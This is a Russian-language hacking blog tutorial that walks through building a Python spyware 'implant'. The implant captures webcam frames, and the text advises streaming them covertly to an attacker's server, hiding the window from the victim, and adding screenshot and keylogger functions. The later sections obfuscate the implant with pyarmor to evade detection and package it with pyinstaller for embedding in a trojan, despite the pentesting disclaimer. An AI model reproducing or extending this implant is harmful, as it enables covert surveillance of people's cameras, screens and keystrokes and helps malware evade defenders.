May 27, 2022

Создание Payload на Python для взлома камеры

В предыдущей статье мы использовали полезные нагрузки, доступные в Metasploit. В данной статье мы напишем собственный пейлоад, делающий снимки с камеры целевого устройства. Я также покажу, как обфусцировать пейлоад и адаптировать под запуск на разных ОС.

Еще по теме: Создание полезной нагрузки для Android в MSFVenom

Payload (полезная нагрузка, пейлоад) — этим термином в сфере информационной безопасности называют вредоносные программы (вирусы, черви или трояны).

Статья написана исключительно в образовательных целях и предназначена пентестерам (белым хакерам), для проведения тестирования на проникновение. Взлом и несанкционированный доступ уголовно наказуем. Ни редак­ция spy-soft.net, ни автор не несут ответс­твен­ность за ваши действия.Создание полезной нагрузки на Python

Для захвата и вывода на экран изображений с веб-камеры, будем использовать библиотеку Python OpenCV. Установите эту библиотеку с помощью команды pip3:

1kali@kali:~/$ pip3 install opencv-python

Скопируйте следующий код в новый файл с именем implant.py.

1234567891011121314151617181920212223import cv2 vc = cv2.VideoCapture(0)cv2.namedWindow("WebCam", cv2.WINDOW_NORMAL) #----------------------------------------# Настроить TLS-сокет#---------------------------------------- while vc.isOpened(): status, frame = vc.read() cv2.imshow("WebCam", frame) print(frame) #------------------------------- # Отправлять кадры по зашифрованному # TCP-соединению по одному кадру за раз #------------------------------- key = cv2.waitKey(20) # Подождать 20 мс перед считыванием следующего кадра if key == 27: # Закрыть при нажатии клавиши ESC. break vc.release()cv2.destroyWindow("WebCam")

Этот скрипт сделает несколько снимков (кадров) и склеит их для создания видео. Сначала мы выбираем устройство для захвата видео. К компьютеру может быть подключено несколько камер, и операционная система назначает каждую камеру интерфейсу. В данном случае мы выбираем камеру, назначенную интерфейсу 0, который является первым интерфейсом.

Далее указываем окно, в котором будет отображаться каждый кадр. Отображение каждого кадра очень полезно в процессе отладки, но в ходе работы скрытого трояна они отображаться не должны. Мы будем захватывать/считывать новые кадры, пока окно остается открытым. Переменная status является логической и определяет корректность захвата кадра.

Затем мы передаем каждый из кадров для отображения в окне и вывода на консоль. Наконец, если пользователь нажимает клавишу Esc, то мы закрываем окно и завершаем процесс.

Протестируйте программу, открыв новый терминал и перейдя в папку с файлом implant.py. В верхнем меню Kali Linux выберите пункт меню Devices —> Webcam (Устройства —> Веб-камера), чтобы прикрепить веб-камеру к виртуальной машине.

Теперь запустите пейлоад:

1kali@kali:~$ python3 implant.py

Расширьте функциональные возможности полезной нагрузки, разрешив ему отправлять кадры на сервер хакера, используя TCP-соединение. Протестировав эту функцию, вы можете сделать работу пейлоада более незаметной, удалив строки кода, отвечающие за отображение потока информации на экране устройства жертвы.

Помните о том, что ваша полезная нагрузка должна обмениваться данными по защищенному каналу. О том, как установить безопасный канал связи, было подробно написано в этой статье.

Добавьте в payload функцию создания снимков экрана. Для этого установите и используйте библиотеку python-mss. Далее приведен пример кода, который позволяет импортировать библиотеку mss и сделать снимок экрана:

123from mss import msswith mss() as sct:image = sct.shot()

Вам также потребуется создать и реализовать базовый протокол для управления своей нагрузкой. В заключение отмечу, что для добавления функциональности кейлоггера отлично подойдет библиотека pynput, которую необходимо установить.

Обфускация пейлоада

Чтобы затруднить обнаружение и реверс инжиниринг созданного пейлоада, можно воспользоваться методом обфускации. Для обфускации файла implant.py мы применим инструмент pyarmor.

Выполните командуpip3 для установки pyarmor:

1kali@kali:~$ pip3 install pyarmor

Теперь проведите обфускацию своего пейлоада:

1kali@kali:~$ pyarmor obfuscate implant.py

Чтобы просмотреть результат, перейдите в папкуdist:

1kali@kali:~$ cd dist

Вам понадобятся все файлы, содержащиеся в папкеdist, включая те, которые находятся в каталогеpytransform. Запустите обфусцированный файл implant.py из папкиdist.

В качестве альтернативы вы можете воспользоваться инструментом pyminifier для создания минифицированной версии кода.Создание исполняемого файла для конкретной платформы

Для запуска только что созданного пейлоада на компьютере жертвы должен быть установлен Python. Однако мы не можем на это рассчитывать, так что нам нужно преобразовать программу на языке Python в исполняемый файл с помощью утилиты pyinstaller, которую можно установить следующим образом:

1kali@kali:~$ pip3 install pyinstaller

Чтобы создать исполняемый файл для ОС Linux из исходного необфусцированного файла, выполните команду:

1kali@kali:~$ pyinstaller --onefile implant.py

Для создания обфусцированного исполняемого файла примените следующую команду к исходному файлу:

1kali@kali:~$ pyarmor pack implant.py

Теперь можно встроить полученный исполняемый файл Linux в троянскую программу. Теперь попробуйте создать исполняемый файл для ОС Windows (.exe), запустив утилиту pyinstaller на компьютере под управлением данной операционной системы и используя те же команды.

Еще по теме:

Источник

Наши проекты:

- Кибер новости: the Matrix
- Хакинг: /me Hacker
- Кодинг: Minor Code